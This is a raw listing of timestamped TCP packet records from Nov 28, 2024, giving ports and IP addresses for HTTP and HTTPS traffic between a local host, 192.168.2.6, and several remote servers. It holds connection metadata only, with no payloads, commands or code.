Nov 28, 2024 00:19:51.146116972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.146759987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.146816015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.146862984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.147597075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.147644997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.147666931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.147787094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.148406982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.148452997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.148540020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.148715019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.149221897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.149274111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.149276972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.149317026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.150079012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.150130033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.150161028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.150264025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.150892973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.150942087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.151030064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.151078939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.151151896 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.151209116 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.151380062 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.151441097 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.151457071 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.151465893 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.151472092 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.151724100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.151825905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.151886940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.152565956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.152607918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.152618885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.152723074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.153331995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.153393030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.153445959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.153490067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.153973103 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.153995037 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.154083014 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.154181957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.154233932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.154277086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.154316902 CET	49908	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.154333115 CET	443	49908	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.154366016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.163332939 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.360641956 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.360707045 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.360780001 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.385354042 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.385392904 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.385427952 CET	49893	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.385437012 CET	443	49893	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.388864040 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.388902903 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.389120102 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.389787912 CET	49909	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.389805079 CET	443	49909	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.611491919 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:51.614183903 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:51.614192963 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:51.614542961 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:51.614984035 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:51.615044117 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:51.615207911 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:51.655333996 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:51.693291903 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.693376064 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.693473101 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.694154978 CET	49894	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.694170952 CET	443	49894	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.697732925 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.697774887 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.697864056 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.699510098 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:51.699525118 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:51.700378895 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.700675011 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.700740099 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.701179981 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.701199055 CET	443	49897	108.139.47.92	192.168.2.6
Nov 28, 2024 00:19:51.701208115 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.701260090 CET	49897	443	192.168.2.6	108.139.47.92
Nov 28, 2024 00:19:51.705574989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.705602884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:51.830905914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:51.830969095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:52.017011881 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:52.017314911 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:52.017329931 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:52.018318892 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:52.018373013 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:52.019587040 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:52.019654036 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:52.065970898 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:52.065978050 CET	443	49902	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:52.100267887 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:52.100297928 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:52.100430012 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:52.100430965 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:52.100635052 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:52.101645947 CET	49898	443	192.168.2.6	20.1.248.118
Nov 28, 2024 00:19:52.101653099 CET	443	49898	20.1.248.118	192.168.2.6
Nov 28, 2024 00:19:52.112401962 CET	49902	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:52.226680040 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:52.226768970 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.227246046 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.227256060 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:52.227612019 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.227617025 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:52.252067089 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.252083063 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:52.252139091 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.252362013 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.252374887 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:52.272036076 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.272063971 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:52.272121906 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.272278070 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.272290945 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:52.282764912 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.282783985 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:52.282994032 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.283200026 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:52.283210993 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:52.283790112 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:52.283821106 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:52.283869982 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:52.283998013 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:52.284009933 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:52.380405903 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.380639076 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.380651951 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.382092953 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.382155895 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.383399963 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.383487940 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.384556055 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:52.384794950 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:52.384809971 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:52.385680914 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:52.385746002 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:52.386698961 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:52.386756897 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:52.416723967 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.417084932 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.417100906 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.417978048 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.418046951 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.418365955 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.418421030 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.439007998 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.439016104 CET	443	49905	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.439019918 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:52.439027071 CET	443	49907	23.44.201.32	192.168.2.6
Nov 28, 2024 00:19:52.470287085 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.470295906 CET	443	49904	204.79.197.219	192.168.2.6
Nov 28, 2024 00:19:52.485888958 CET	49905	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.485938072 CET	49907	443	192.168.2.6	23.44.201.32
Nov 28, 2024 00:19:52.517144918 CET	49904	443	192.168.2.6	204.79.197.219
Nov 28, 2024 00:19:52.704197884 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:52.704268932 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.704272985 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:52.704319954 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.704340935 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.704355001 CET	443	49901	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:52.704365015 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.704395056 CET	49901	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:52.844947100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:52.845006943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:52.895760059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:52.987782001 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.000790119 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:53.001504898 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:53.001522064 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:53.004045010 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:53.004105091 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:53.005780935 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:53.005906105 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:53.018070936 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.018096924 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.018520117 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.018524885 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.019531965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:53.050786972 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:53.050795078 CET	443	49903	23.44.201.8	192.168.2.6
Nov 28, 2024 00:19:53.092093945 CET	49903	443	192.168.2.6	23.44.201.8
Nov 28, 2024 00:19:53.356992960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:53.357069969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:53.357106924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:53.357146025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:53.357356071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:53.357404947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:53.384377956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:53.449320078 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.449408054 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.449513912 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.449738026 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.449754953 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.449779987 CET	49906	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.449786901 CET	443	49906	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.452738047 CET	49915	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.452759981 CET	443	49915	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.452922106 CET	49915	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.453010082 CET	49915	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.453022003 CET	443	49915	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.461963892 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.462335110 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.462344885 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.462814093 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.462816954 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.508393049 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.508662939 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.508676052 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.509100914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:53.512140036 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.512203932 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.512526989 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.512581110 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.512677908 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.529697895 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.529972076 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.529988050 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.530316114 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.530611038 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.530674934 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.530744076 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.555325985 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.555423975 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.555633068 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.555649042 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.555974007 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.556255102 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.556313038 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.556380987 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.561218023 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.561225891 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.571325064 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.599333048 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:53.608094931 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:53.846556902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:53.846632957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:53.861999989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:53.905742884 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:53.905858994 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.905914068 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.906022072 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:53.906033993 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:53.906052113 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.906337023 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:53.906352997 CET	49910	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.906366110 CET	443	49910	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.906714916 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:53.906768084 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:53.906919956 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:53.909694910 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.909724951 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.910191059 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.910303116 CET	49916	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:53.910315990 CET	443	49916	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:53.951335907 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:53.985750914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:54.074564934 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074590921 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074599981 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074615955 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074621916 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074628115 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074646950 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.074657917 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.074690104 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.074716091 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.105178118 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.105197906 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.105215073 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.105346918 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.105360985 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.105469942 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.133510113 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.133541107 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.133555889 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.133599043 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.133635044 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.133647919 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.133677006 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.186496973 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.186522007 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.186563015 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.186626911 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.186635017 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.186697006 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.194700956 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.194763899 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.221829891 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.221856117 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.221920013 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.221929073 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.221966028 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.221980095 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.229691982 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.258136988 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.258160114 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.258191109 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.258229017 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.258244038 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.258260965 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.266488075 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.266573906 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.266585112 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.266614914 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.266648054 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.266671896 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.269562006 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.269584894 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.269627094 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.269635916 CET	443	49911	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.269659042 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.307576895 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.311573029 CET	49911	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.334705114 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.334722996 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.334808111 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.334829092 CET	443	49912	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.334989071 CET	49912	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.364516973 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.364569902 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.364593029 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.364599943 CET	443	49913	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:54.364640951 CET	49913	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:54.367681980 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:54.367783070 CET	443	49914	20.110.205.119	192.168.2.6
Nov 28, 2024 00:19:54.367835999 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:54.369648933 CET	49914	443	192.168.2.6	20.110.205.119
Nov 28, 2024 00:19:54.369656086 CET	443	49914	20.110.205.119	192.168.2.6
